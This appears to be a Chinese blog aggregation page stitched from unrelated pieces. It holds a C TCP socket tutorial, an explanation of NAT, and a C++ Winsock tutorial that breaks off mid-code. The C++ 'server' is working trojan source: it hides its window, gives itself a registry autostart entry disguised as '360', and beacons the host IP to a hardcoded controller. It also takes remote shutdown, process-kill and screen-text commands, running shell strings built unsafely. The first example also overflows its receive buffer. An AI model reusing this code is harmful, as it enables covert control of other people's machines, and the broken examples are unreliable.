精华内容
下载资源
问答
  • C语言通过socket编程实现TCP通信

    万次阅读 多人点赞 2018-01-02 13:46:27
    实际上,它包含上百个功能的协议,如ICMP(互联网控制信息协议)、FTP(文件传输协议)、UDP(用户数据包协议)、ARP(地址解析协议)等。TCP负责发现传输的问题,一旦有问题就会发出重传信号,直到所...

    目录

    1.  TCP/IP协议

    2.套接字(socket):

    3.下面给出server和client的两个例子

    服务端:

    客户端:


    服务端客户端通信例子:socket tcp 通信1socket tcp通信2udp使用讲解socket udp通信例子

    1.  TCP/IP协议

    叫做传输控制/网际协议,又叫网络通信协议。实际上,它包含上百个功能的协议,如ICMP(互联网控制信息协议)、FTP(文件传输协议)、UDP(用户数据包协议)、ARP(地址解析协议)等。TCP负责发现传输的问题,一旦有问题就会发出重传信号,直到所有数据安全正确的传输到目的地。

    2.套接字(socket)

        在网络中用来描述计算机中不同程序与其他计算机程序的通信方式。socket其实是一种特殊的IO接口,也是一种文件描述符。

    套接字分为三类:

        流式socket(SOCK_STREAM):流式套接字提供可靠、面向连接的通信流;它使用TCP协议,从而保证了数据传输的正确性和顺序性。

        数据报socket(SOCK_DGRAM):数据报套接字定义了一种无连接的服务,数据通过相互独立的保温进行传输,是无序的,并且不保证是可靠、无差错的。它使用的数据报协议是UDP。

        原始socket:原始套接字允许对底层协议如IP或ICMP进行直接访问,它功能强大但使用复杂,主要用于一些协议的开发。

    套接字由三个参数构成:IP地址,端口号,传输层协议。这三个参数用以区分不同应用程序进程间的网络通信与连接。

    套接字的数据结构:C语言进行套接字编程时,常会使用到sockaddr数据类型和sockaddr_in数据类型,用于保存套接字信息。

    两种结构体分别表示如下:

    struct sockaddr {
        //地址族,2字节
        unsigned short sa_family;
    
        //存放地址和端口,14字节
        char sa_data[14];
    }
    
    
    struct sockaddr_in {
        //地址族
        short int sin_family;
    
        //端口号(使用网络字节序)
        unsigned short int sin_port;
    
        //地址
        struct in_addr sin_addr;
    
        //8字节数组,全为0,该字节数组的作用只是为了让两种数据结构大小相同而保留的空字节
        unsigned char sin_zero[8]
    }
    

    对于sockaddr,大部分的情况下只是用于bind,connect,recvfrom,sendto等函数的参数,指明地址信息,在一般编程中,并不对此结构体直接操作。而用sockaddr_in来替。

    两种数据结构中,地址族都占2个字节,

    常见的地址族有:AF_INET,AF_INET6AF_LOCAL。

    这里要注意字节序的问题,最好使用以下函数来对端口和地址进行处理:

    1.  uint16_t htons(uint16_t host16bit) 把16位值从主机字节序转到网络字节序

        uint32_t htonl(uint32_t host32bit)  把32位值从主机字节序转到网络字节序

    2.  uint16_t ntohs(uint16_t net16bit) 把16位值从网络字节序转到主机字节序

        uint32_t ntohs(uint32_t net32bit)  把32位值从网络字节序转到主机字节序

    使用socket进行TCP通信时,经常使用的函数有:

     

    3.下面给出serverclient的两个例子

     

    更详细的例子

    服务端:

    /*socket tcp服务器端*/

    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #define SERVER_PORT 6666
    
    /*
    监听后,一直处于accept阻塞状态,
    直到有客户端连接,
    当客户端如数quit后,断开与客户端的连接
    */
    int main() {
    
        //调用socket函数返回的文件描述符
    
        int serverSocket;
    
        //声明两个套接字sockaddr_in结构体变量,分别表示客户端和服务器
    
        struct sockaddr_in server_addr;
    
        struct sockaddr_in clientAddr;
    
        int addr_len = sizeof(clientAddr);
    
        int client;
    
        char buffer[200];
    
        int iDataNum;
    
        //socket函数,失败返回-1
        //int socket(int domain, int type, int protocol);
        //第一个参数表示使用的地址类型,一般都是ipv4,AF_INET
        //第二个参数表示套接字类型:tcp:面向连接的稳定数据传输SOCK_STREAM
        //第三个参数设置为0
        if ((serverSocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
            perror("socket");
            return 1;
        }
    
        bzero(&server_addr, sizeof(server_addr));
    
        //初始化服务器端的套接字,并用htons和htonl将端口和地址转成网络字节序
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(SERVER_PORT);
    
        //ip可是是本服务器的ip,也可以用宏INADDR_ANY代替,代表0.0.0.0,表明所有地址
        server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    
        //对于bind,accept之类的函数,里面套接字参数都是需要强制转换成(struct sockaddr *)
        //bind三个参数:服务器端的套接字的文件描述符,
    
        if (bind(serverSocket, (struct sockaddr *) &server_addr, sizeof(server_addr)) < 0) {
            perror("connect");
            return 1;
        }
    
        //设置服务器上的socket为监听状态
        if (listen(serverSocket, 5) < 0) {
            perror("listen");
            return 1;
    
        }
    
        while (1) {
    
            printf("监听端口: %d\n", SERVER_PORT);
    
            //调用accept函数后,会进入阻塞状态
            //accept返回一个套接字的文件描述符,这样服务器端便有两个套接字的文件描述符,
            //serverSocket和client。
            //serverSocket仍然继续在监听状态,client则负责接收和发送数据
            //clientAddr是一个传出参数,accept返回时,传出客户端的地址和端口号
            //addr_len是一个传入-传出参数,传入的是调用者提供的缓冲区的clientAddr的长度,以避免缓冲区溢出。
            //传出的是客户端地址结构体的实际长度。
            //出错返回-1
            client = accept(serverSocket, (struct sockaddr *) &clientAddr, (socklen_t *) &addr_len);
    
            if (client < 0) {
                perror("accept");
                continue;
    
            }
    
            printf("等待消息...\n");
            //inet_ntoa ip地址转换函数,将网络字节序IP转换为点分十进制IP
            //表达式:char *inet_ntoa (struct in_addr);
            printf("IP is %s\n", inet_ntoa(clientAddr.sin_addr));
            printf("Port is %d\n", htons(clientAddr.sin_port));
    
            while (1) {
                printf("读取消息:");
                buffer[0] = '\0';
                iDataNum = recv(client, buffer, 1024, 0);
                if (iDataNum < 0) {
                    perror("recv null");
                    continue;
                }
    
                buffer[iDataNum] = '\0';
                if (strcmp(buffer, "quit") == 0)
                    break;
                printf("%s\n", buffer);
                printf("发送消息:");
    
                scanf("%s", buffer);
                printf("\n");
                send(client, buffer, strlen(buffer), 0);
    
                if (strcmp(buffer, "quit") == 0)
                    break;
            }
    
        }
    
        close(serverSocket);
        return 0;
    }

    客户端:

    /*socket tcp客户端*/

    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    #define SERVER_PORT 6666
    
    /*
    连接到服务器后,会不停循环,等待输入,
    输入quit后,断开与服务器的连接
    */
    
    int main() {
    
        //客户端只需要一个套接字文件描述符,用于和服务器通信
        int clientSocket;
    
        //描述服务器的socket
        struct sockaddr_in serverAddr;
        char sendbuf[200];
        char recvbuf[200];
        int iDataNum;
    
        if ((clientSocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
            perror("socket");
            return 1;
    
        }
    
        serverAddr.sin_family = AF_INET;
        serverAddr.sin_port = htons(SERVER_PORT);
    
        //指定服务器端的ip,本地测试:127.0.0.1
        //inet_addr()函数,将点分十进制IP转换成网络字节序IP
        serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
        if (connect(clientSocket, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) < 0) {
    
            perror("connect");
    
            return 1;
    
        }
    
        printf("连接到主机...\n");
        while (true) {
            printf("发送消息:");
            scanf("%s", sendbuf);
            printf("\n");
            send(clientSocket, sendbuf, strlen(sendbuf), 0);
            if (strcmp(sendbuf, "quit") == 0)
                break;
    
            printf("读取消息:");
            recvbuf[0] = '\0';
            iDataNum = recv(clientSocket, recvbuf, 200, 0);
            recvbuf[iDataNum] = '\0';
            printf("%s\n", recvbuf);
    
        }
    
        close(clientSocket);
        return 0;
    
    }
    
    

     

    展开全文
  • 我们知道要使网络包能够在设备间正确地传输,则要求每台设备都应该有一个唯一且不重复的地址。就好像快递配送一样,如果每个人的地址都一样,那么快递员就无法...但随着互联网的普及,接入互联网的设备也变得越来...

    我们知道要使网络包能够在设备间正确地传输,则要求每台设备都应该有一个唯一且不重复的地址。就好像快递配送一样,如果每个人的地址都一样,那么快递员就无法知道应该把快件送给谁。早期的互联网就是这么设计的。比如,公司内网需要接入互联网时,应该向地址管理机构申请IP地址,并将它们分配给公司里的每台设备。此时,没有内网和外网之分,所有客户端都是直接连接到互联网。

    但随着互联网的普及,接入互联网的设备也变得越来越多。如果还采用早期的互联网接入方式,可以预见的是,在不久的将来,可分配的固定地址被用光,新的设备无法接入互联网……

    私有地址与公有地址

    为了解决固定地址易被分配完的问题,互联网采用了私有地址(用于内网分配的地址)和公有地址(原固定地址)分别管理的方式。假设有A、B两家公司,它们的内网是完全独立的,即两家公司的内网之间不会有网络包传输。在这样的情况下,就算A公司的某台机器和B公司的某台机器具有相同的IP地址也没有关系。只要在每家公司自己的局域网内,地址不重复即可。

    如此一来,公司内部设备就无需分配固定地址,从而节省了大量的IP地址。当然,就算公司内网,也不可以随意分配地址,这需要符合一定的规则,其中可以用于内网分配的地址,我们称之为私有地址,而原来的固定地址则称为公有地址。

    下面展示了可用于内网中的私有地址范围:

    10.0.0.0 ~ 10.255.255.255
    172.16.0.0 ~ 172.31.255.255
    192.168.0.0 ~ 192.168.255.255
    

    上面的这些私有地址没有什么特别之处,它们只不过是将公有地址中还没有分配的一部分拿出来规定只能在内网中使用而已。地址管理机构不会对这些私有地址进行管理,它们不需要申请,任何人都可以自由使用。但是,如果在同一内网中存在相同的地址就无法传输网络包,故必须避免在同一内网中出现相同的地址。

    我们采用私有地址和公有地址后,虽然节省了一部分地址,但我们知道,实际上各个公司内网之间不是完全独立的,而是需要借助互联网进行相互通信。此时问题就出现了,因为在网络中出现了相同的地址,所以包就无法正确传输。

    为了解决这个问题,公司内网采用了如下结构,即将公司内网分成两部分,一部分是对互联网开放的服务器,另一部分则是对互联网隔离的内部设备。其中对互联网开放的部分分配了公有地址,因为分配的是公有地址,所以可以和互联网直接通信。而公司内部设部则分配了私有地址,因此内网中的设备不能和互联网直接收发网络包,而是需要通过一种机制才能和互联网连通,这种机制就是地址转换

    私有地址和公有地址分别管理

    地址转换原理

    地址转换的基本原理是在转发网络包时对IP头部中的IP地址和端口号(TCP、UDP)进行改写。

    下面我们通过在公司内网访问互联网中的某个Web服务,来分析包是如何传输的。

    首先,公司内网设备与Web服务进行TCP连接操作的第一个包被转发到互联网时,地址转换设备(路由器,或某些防火墙)会将发送方IP地址从私有地址改写成公有地址(地址转换设备的互联网连接地址),并将端口号改写成随机一个空闲的端口号。然后,改写前的私有地址和端口号,以及改写后的公有地址和端口号,会作为一组相对应的记录保存在地址转换设备内部的一张地址和端口对应表中。

    之后,被改写后的包就被发送至互联网,最终到达Web服务器,然后服务器返回一个响应包。因为发送给Web服务器的包是通过地址转换设备改写过后的包,所以Web服务器返回的包也只会被地址转换设备接收。

    接下来,地址转换设备会从地址和端口对应表中通过公有地址和端口号找到相对应私有地址和端口号,并改写接收方信息,然后将包发给公司内网中的原始发送方设备。

    在随后的包收发过程中,地址转换设备只需根据地址和端口对应表中的对应记录,在改写地址和端口号后,再对包进行转发即可。当访问互联网的操作全部完成后,地址对应表中的该条记录就会被删除。

    利用端口改写IP地址

    在对外只能使用一个公有地址的情况下,可以用不同的端口号来区别内网中不同的终端。

    从互联网访问公司内网

    对于从公司内网访问互联网的网络包,即使发送方私有地址和端口号没有保存在地址转换设备的地址和端口对应表中也可以正常转发。因为用来改写的公有地址就是地址转换设备自身的地址,而端口号只要随便选一个空闲的端口就可以了,这些都可以由地址转换设备自行判断。然而,对于从互联网访问公司内网的包,如果在地址和端口对应表中没有记录就无法正常转发。因为如果地址和端口对应表中没有记录,就意味着地址转换设备无法判断公有地址与私有地址之间的对应关系。

    所以也就是说,除非公司主动允许,否则无法从互联网向公司内网发送网络包。这种机制具有防止非法入侵的效果。

    如果想要能够从互联网访问公司内网(从互联网访问到私有地址的服务器),则可以通过以下两种方式进行配置:

    • 将用于外网访问的服务器放在地址转换设备的外面,并为它分配一个公有地址。
    • 将服务器的私有地址手动添加到地址转换设备的地址和端口对应表中。此外,如果是通过域名访问的话,还需要将这个地址转换设备的公有地址添加到DNS服务器中。
    展开全文
  • 实现UDP在互联网上打洞通信,公网服务器记录客户端的公网IP,当客户端给客户端发送打洞消息时 由于运营商路由选择了别的线路,导致IP和服务器记录的不一样,导致打洞失败。要求是要解决这类问题,或者有其他好的办法...
  • C++网络通信实现

    万次阅读 多人点赞 2018-08-03 15:46:59
    TCP/IP参考模型:传输控制协议/网际协议是互联网上最流行的协议,采用4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。即应用层-传输层-互联网络层-网络接口层。 数据包格式 IP...

    Github个人博客:https://joeyos.github.io

    TCP/IP协议

    OSI参考模型:应用层-表示层-会话层-传输层-网络层-数据链路层-物理层。

    TCP/IP参考模型:传输控制协议/网际协议是互联网上最流行的协议,采用4层的层级结构,每一层都呼叫它的下一层所提供的网络来完成自己的需求。即应用层-传输层-互联网络层-网络接口层。

    数据包格式

    IP数据包

    IP数据包是在IP协议间发送的,主要在以太网与网际协议模块之间传输,提供无连接数据包传输。不保证数据包的发送,但最大限度的发送数据。结构如下:

    typedef struct HeadIP{
    	unsigned char headerlen:4;//首部长度,4位
    	unsigned char version:4;//版本,4位
    	unsigned char servertype;//服务类型,8位
    	unsigned short totallen;//长度,16位
    	unsigned short id;
    	//与idoff构成标识符,共占16为,前3位是标识,后13位是片偏移
    	unsigned short idoff;
    	unsigned char ttl;//生存时间,8位
    	unsigned char proto;//协议,占8位
    	unsigned short checksum;//检验首部和,16位
    	unsigned int sourceIP;//源IP地址,32位
    	unsigned int destIP;//目的IP地址,32位
    }HeadIP;
    

    TCP数据包

    面向连接,全双工,可靠的传输。

    typedef struct HeadTCP{
    	WORD SourcePort;//16位源端口号
    	WORD DePort;//16位目的端口
    	DWORD SequenceNo;//32位序号
    	DWORD ConfirmNo;//32位确认序号
    	BYTE HeadLen;//与Flag为一个组成部分,首部长度,4位,保留6位,6位标识,共16位
    	BYTE Flag;
    	WORD WndSize;//16位窗口大小
    	WORD CheckSum;//16位校验和
    	WORD UrgPtr;//16位紧急指针
    }HeadTCP;
    

    三次握手连接

    第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。

    第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;

    第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。

    完成三次握手,客户端与服务器开始传送数据。

    这里写图片描述

    四次握手关闭

    TCP关闭连接的步骤如下:

    第一步,当主机A的应用程序通知TCP数据已经发送完毕时,TCP向主机B发送一个带有FIN附加标记的报文段(FIN表示英文finish)。

    第二步,主机B收到这个FIN报文段之后,并不立即用FIN报文段回复主机A,而是先向主机A发送一个确认序号ACK,同时通知自己相应的应用程序:对方要求关闭连接(先发送ACK的目的是为了防止在这段时间内,对方重传FIN报文段)。

    第三步,主机B的应用程序告诉TCP:我要彻底的关闭连接,TCP向主机A送一个FIN报文段。

    第四步,主机A收到这个FIN报文段后,向主机B发送一个ACK表示连接彻底释放。

    这里写图片描述

    UDP数据包

    UDP数据包是无连接的,一次服务,不提供差错恢复,不提供数据重传。

    typedef struct HeadUDP{
    	WORD SourcePort;//16位端口号
    	WORD DePort;//16位目的端口
    	WORD Len;//16位UDP长度
    	WORD ChkSum;//16位UDP校验和
    }HeadUDP;
    

    ICMP数据包

    ICMP协议被称为网际控制报文协议,是IP协议的附属协议,可以将某设备的故障信息发送到其他设备。

    typedef struct HeadCMP{
    	BYTE Type;//8为类型
    	BYTE Code;//8位代码
    	WORD ChkSum;//16位校验和
    }HeadICMP;
    

    套接字

    所谓套接字,实际上是一个指向传输提供者的句柄。

    Winsock套接字可以使应用程序适用于不同的网络名和网络地址。

    #include"winsock2.h"//引用头文件
    #pragma comment(lib,"ws2_32.lib")//链接库文件
    

    初始化套接字:

    WSADATA wsd;//定义WSADATA对象
    WSAStratup(MAKEWORD(2,2),&wsd);//初始化套接字
    

    常用的套接字函数

    1. WSAStartup函数:初始化ws2_32.dll动态链接库

      int WSAStartup(WORD wVersionRequested,LPWSADATA IpWSAData);

    2. socket函数:创建套接字

      SOCKET socket(int af,int type,int protocol);

    3. bind函数:将套接字绑定到指定的端口和地址

      int bind(SOCKET s,const struct sockaddr FAR* name,int namelen);

    4. listen函数:将套接字设定为监听模式
      int listen(SOCKET s,int backlog);

    5. accept函数:接收连接请求

      SOCKET accept(SOCKET s,struct sockaddr FAR* addr,int FAR* addrlen);

    6. closesocket函数:关闭套接字

      int closesocket(SOCKET s);

    7. connect函数:发送连接请求

      int connect(SOCKET s,const struct sockaddr FAR* name,int namelen);

    8. htons 函数:将16位无符号短整型数据转换为网络排列方式

      u_short htons(u_short hostshort);

    9. htonl函数:将无符号长整型转换为网络排列方式

      u_long htonl(u_long hostlong);

    10. inet_addr函数:将字符串表示的地址转换为32位的无符号长整型数据

      unsigned long inet_addr(const char FAR* cp);

    11. recv函数:接收数据

      int recv(SOCKET s,char FAR* buf,int len,int flags);

    12. send函数:发送数据

      int send(SOCKET s,const char FAR* buf,int len,int flags);

    13. select函数:检查套接字是否处于可读、可写或错误状态

      int select(int nfds,fd_set FAR* readfds,fd_set FAR* writefds,fd_set FAR* exceptfds,const struct timeval FAR* timeout);

    14. WSACleanup函数:释放ws2_32.dll动态链接库分配的资源

      int WSACleanup(void);

    15. WSAAsyncSelect函数:将网络中的某事件关联到窗口的某个消息中

      int WSAAsyncSelect(SOCKET s,HWND hWnd,unsigned int wMsg,long iEvent);

    16. ioctlsocket函数:设置套接字的I/O模式

      int ioctlsocket(SOCKET s,long cmd,u_long FAR* argp);

    套接字阻塞模式

    依据套接字函数执行方式的不同,可以将套接字分为两类:阻塞和非阻塞。

    阻塞:函数调用玩会一直等待,直到I/O操作完成。故一个线程中同时只能进行一项I/O操作。

    非阻塞:函数调用会立即返回。

    默认情况下,套接字为阻塞套接字。为了将套接字设置为非阻塞,需要使用ioctlsocket函数。

    unsigned long nCmd;
    SOCKET clientSock = socket(AF_INET,SOCK_STREAM,0);//创建套接字
    int nState=ioctlsocket(clientSock,FIONBIO,&nCmd);//设置非阻塞模式
    if(nState != 0)
    {
    	TRACE("设置套接字非阻塞模式失败!");
    }
    

    连接过程

    面向连接流

    服务端:

    |- WSAStartup函数初始化
    |- 创建Socket
    |- 用bind指定对象
    |- listen设置监听
    |- accept接收请求
    |- send发送会话
    |- closesocket关闭socket
    

    客户端:

    |- WSAStartup函数初始化
    |- 创建Socket
    |- connect请求连接
    |- send发送会话
    |- closesocket关闭socket
    

    面向无连接流

    服务端:

    |- WSAStartup函数初始化
    |- 创建Socket
    |- 调用recvfrom和sendto进行通信
    |- 调用closesocket关闭Socket
    

    客户端:

    |- WSAStartup函数初始化
    |- 创建Socket
    |- 调用recvfrom和sendto进行通信
    |- 调用closesocket关闭socket
    

    基于UDP协议的网络通信

    UDP链接是面向无连接的,一次服务,不提供差错恢复,不提供数据重传。

    SOCK_DGRAM协议族,UDP协议。

    服务端实现

    服务端启动后会给指定IP地址的客户端发送服务端的IP地址,以便客户端启动后自动连接到服务端。

    这里写图片描述

    #include<stdio.h>
    // 获取进程列表
    #include<windows.h>//windows底层函数
    #include<Tlhelp32.h>
    // 网络库(Linux头文件不同)
    #include<winsock.h>
    #pragma comment(lib,"ws2_32.lib")
    // 取消窗口显示
    //#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
    
    // 全局变量
    int sock;
    bool going=true;
    
    // 分身活动区域
    unsigned long WINAPI function(void* lp)
    {
    	// 发送肉鸡IP地址
    	char hostname[255]="";
    	// 获取系统主机名
    	gethostname(hostname,sizeof(hostname));
    	printf("系统主机名:%s\n",hostname);
    	// 在数据链路层,主机名与IP地址对应
    	hostent *host=gethostbyname(hostname);
    	char* ip=inet_ntoa(*(struct in_addr *)*host->h_addr_list);
    	//printf("%s\n",ip);
    	// 强制转换网络地址为255.255.255.255类型
    
    	// 定义控制方IP地址
    	sockaddr_in ctladdr;
    	ctladdr.sin_family=AF_INET;
    	ctladdr.sin_port=htons(7676);
    	ctladdr.sin_addr.S_un.S_addr=inet_addr("169.254.180.48");
    	while(going)
    	{
    		sendto(sock,ip,strlen(ip),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
    		Sleep(5000);
    		// 5秒
    	}
    	return 0;
    }
    
    int main(void)
    {
    	// 防止双开 互斥量
    	HANDLE hmutex=CreateMutex(0,true,"LF");
    	// (默认值,是否上锁,标识)
    	if(hmutex!=NULL)// 不为空则创建成功
    	{
    		if(GetLastError()==ERROR_ALREADY_EXISTS)
    		{
    			printf("已经打开了\n");
    			return 0;
    		}
    	}
    
    	// 开机自启
    	//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    	//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    	HKEY key;// HKEY代表打开的注册表首地址
    	long reg=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&key);
    	if(reg==ERROR_SUCCESS)// 打开成功返回为0
    	{
    		// 获取路径
    		printf("注册表写入成功!\n");
    		char path[255]="";
    		GetModuleFileName(0,path,254);
    
    		// 增加此运行程序的路径(key,"name",写入0,写入类型)
    		// 用RegSetValueEx写在Run目录下
    		RegSetValue(key,"my360",REG_SZ,path,strlen(path));
    		// 关闭程序
    		RegCloseKey(key);
    		// Release版本才可以开机自启
    	}
    	// 1.网络是否存在,初始化网络 调用系统函数
    	WSADATA wsaData;
    	WSAStartup(0x202,&wsaData);
    	// 网络库版本号,最新版本,获取初始化信息
    
    	// 2.购买手机(获取套接字)
    	//int sock=socket(AF_INET,SOCK_DGRAM,0);
    	// SOCK_DGRAM协议族,UDP协议,默认为0
    	// SOCK_STREAM, TCP/IP协议
    	sock=socket(AF_INET,SOCK_DGRAM,0);
    
    	// 3.绑定端口号(类似绑定手机卡)
    	sockaddr_in addr;// 此电脑的信息(ip,端口号,协议族)
    	addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    	//inet_addr("192.168.75.1");
    	addr.sin_port = htons(7979);// 绑定的端口号
    	addr.sin_family=AF_INET;
    	bind(sock,(sockaddr*)&addr,sizeof(addr));
    	// 4.收到指令,并处理
    	char buf[1024]="";// 接收数据1#1等
    	char cmd[4]="";// 截取字符串
    
    	// 定义控制方IP地址
    	sockaddr_in ctladdr;
    	int ilen = sizeof(ctladdr);
    	// 创建分身
    	CreateThread(0,0,function,0,0,0);
    
    	while(1) //recv(套接字,存储数据区,存储数据长度,默认为0)
    	{
    		// 收信息recv/recvfrom
    		// recvfrom不仅可以收到信息,还可以知道发送端的IP及端口号
    		//int num=recv(sock,buf,sizeof(buf),0);
    		int num=recvfrom(sock,buf,sizeof(buf),0,(sockaddr*)&ctladdr,&ilen);
    		printf("收到控制端消息:%s %d\n",inet_ntoa(ctladdr.sin_addr),ctladdr.sin_port);
    		// 截取前三个字符到cmd中
    		strncpy(cmd,buf,3);
    		buf[num]='\0';
    		//printf("%s\n",buf);
    		// 指令的识别,处理
    		if(strcmp(cmd,"1#1")==0)
    		{
    			system("shutdown -s -t 1000");// 关机
    		}
    		else if(strcmp(cmd,"1#2")==0)
    		{
    			system("shutdown -r -t 1000");// 重启
    		}
    		else if(strcmp(cmd,"2#1")==0)// 获取进程列表
    		{
    			// 动态获取进程列表(二维数组)
    			// 1.打开获取表格
    			HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    			// 2.遍历表格 Process32First(表格);
    			PROCESSENTRY32 processMsg;// 结构体(程序名,ID,内存)
    			Process32First(handle,&processMsg);
    			do
    			{
    				//printf("%s\n",processMsg.szExeFile);
    				sendto(sock,processMsg.szExeFile,strlen(processMsg.szExeFile),0,(sockaddr*)&ctladdr,sizeof(ctladdr));
    			}while(Process32Next(handle,&processMsg));//指为空时返回0
    		}
    		else if(strcmp(cmd,"2#2")==0)//2#2#结束的进程名
    		{
    			//shell命令
    			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)
    			{
    				char *process=strtok(NULL,"#");
    				char opr[100]="";
    				// 字符串的拼接
    				sprintf(opr,"taskkill /F /IM %s*",process);// 关闭某进程
    				system(opr);
    				//printf("%s\n",opr);
    				//system("taskkill /F /IM FeiQ*");
    			}
    		}
    		else if(strcmp(cmd,"4#1")==0)//弹出提示框(0,"内容","标题",提示框样式)
    		{
    			// 截取字符串
    			// 4#1#内容#标题
    			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
    			{
    				char *content=strtok(NULL,"#");
    				char *title=strtok(NULL,"#");
    				MessageBox(0,content,title,MB_ICONINFORMATION|MB_OK|MB_SYSTEMMODAL);
    			}
    		}
    		else if(strcmp(cmd,"6#1")==0)
    		{
    			going=false;
    		}
    		else if(strcmp(cmd,"7#1")==0)// 显示广告
    		{
    			// 截取字符串
    			// 7#1#内容
    			if(strtok(buf,"#")!=NULL && strtok(NULL,"#")!=NULL)//将字符进行截取(原字符,“截取目标字符”)
    			{
    				char *content=strtok(NULL,"#");
    
    				// 1.获取设备上下文接口:打印机,投影仪,屏幕
    				HDC hdc=GetDC(0);// NULL默认输出主屏幕
    
    				// 字体背景透明
    				SetBkMode(hdc,TRANSPARENT);
    				// 颜色
    				SetTextColor(hdc,RGB(255,0,0));// 红绿蓝
    				// 大小,改变字体,创建字体
    				HFONT font=CreateFont(100,50,0,0,
    					FW_BOLD,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,
    					CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH|FF_SWISS,"宋体");
    				// 替换字体
    				SelectObject(hdc,font);
    
    				// 2.绘画字体
    				TextOut(hdc,100,100,content,strlen(content));
    				// 3.释放上下文
    				ReleaseDC(0,hdc);
    			}
    		}
    	}
    	// 5.释放网络
    	closesocket(sock);
    	// 6.清空初始化
    	WSACleanup();
    	return 0;
    }
    

    客户端实现

    只要服务端运行,就会给指定的客户端发送服务端IP地址,当客户端收到服务端IP地址后,会自动连接到服务端,并可对服务端进行关机、重启、获取服务端进程列表、结束进程,以及发送远程字幕和弹窗操作。

    这里写图片描述

    #include<stdio.h>
    #include<winsock.h>
    #pragma comment(lib,"ws2_32.lib")
    
    int num=0;
    char ipBuf[1024]="";
    
    // 为线程指定活动区域
    unsigned long WINAPI threadfun(void *sock)
    {
    	char buf[1024]="";
    	while(1)
    	{
    		//Sleep(5000);
    		//无数据则一直等待,中途中断则返回0
    		num=recv(*(int*)sock,buf,1023,0);
    		buf[num]='\0';
    		printf("收到服务器消息:%s\n",buf);
    		strcpy(ipBuf,buf);
    		/*
    		ip地址转存给主函数,
    		直接用buf行不通,
    		可能一直被读写占用
    		*/
    		if(num<=0)
    			break;//接收完成
    	}
    	return 0;
    }
    
    void menu(int sock,sockaddr_in eaddr)
    {
    	printf("-------------控制系统----------------------\n");
    	printf("-------------1.关机------------------------\n");
    	printf("-------------2.重启------------------------\n");
    	printf("-------------3.进程列表--------------------\n");
    	printf("-------------4.结束进程--------------------\n");
    	printf("-------------5.远程字幕--------------------\n");
    	printf("-------------6.发送弹窗--------------------\n");
    	printf("请选择:\n");
    
    	int opt=0;
    	scanf("%d",&opt);
    	if(opt==1)//关机
    	{
    		sendto(sock,"1#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==2)//重启
    	{
    		sendto(sock,"1#2",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==3)//进程列表
    	{
    		sendto(sock,"2#1",3,0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==4)//结束进程
    	{
    		char process[100]="";
    		printf("请输入需要结束的进程名:\n");
    		scanf("%s",process);
    		//拼接
    		char cmd[1000]="";
    		sprintf(cmd,"2#2#%s*",process);
    		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==5)//投放字幕
    	{
    		char content[100]="";
    		printf("请输入广告内容:");
    		scanf("%s",content);
    		//格式化字符串
    		char cmd[1000]="";
    		sprintf(cmd,"7#1#%s",content);
    		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    	}
    	else if(opt==6)//弹窗
    	{
    		char content1[100]="";
    		printf("请输入弹窗内容:");
    		scanf("%s",content1);
    		char content2[100]="";
    		printf("请输入标题:");
    		scanf("%s",content2);
    		//格式化字符串
    		char cmd[1000]="";
    		sprintf(cmd,"4#1#%s#%s",content1,content2);
    		sendto(sock,cmd,strlen(cmd),0,(sockaddr*)&eaddr,sizeof(eaddr));
    		printf("%d,%d\n",sock,sizeof(eaddr));
    	}
    }
    
    
    int main(void)
    {
    	// 1.初始化网络,网络是否存在
    	WSADATA wsaData;
    	WSAStartup(0x202,&wsaData);
    
    	// 2.购买手机,获取套接字
    	int sock=socket(AF_INET,SOCK_DGRAM,0);//AF_INET为英特网
    	// 3.绑定手机卡(默认:若绑定,网卡会默认绑定(IP,随机端口号))
    	// 不绑定,让系统默认绑定
    	// 手动绑定IP地址,端口号
    	sockaddr_in myaddr;
    	myaddr.sin_family=AF_INET;
    	myaddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
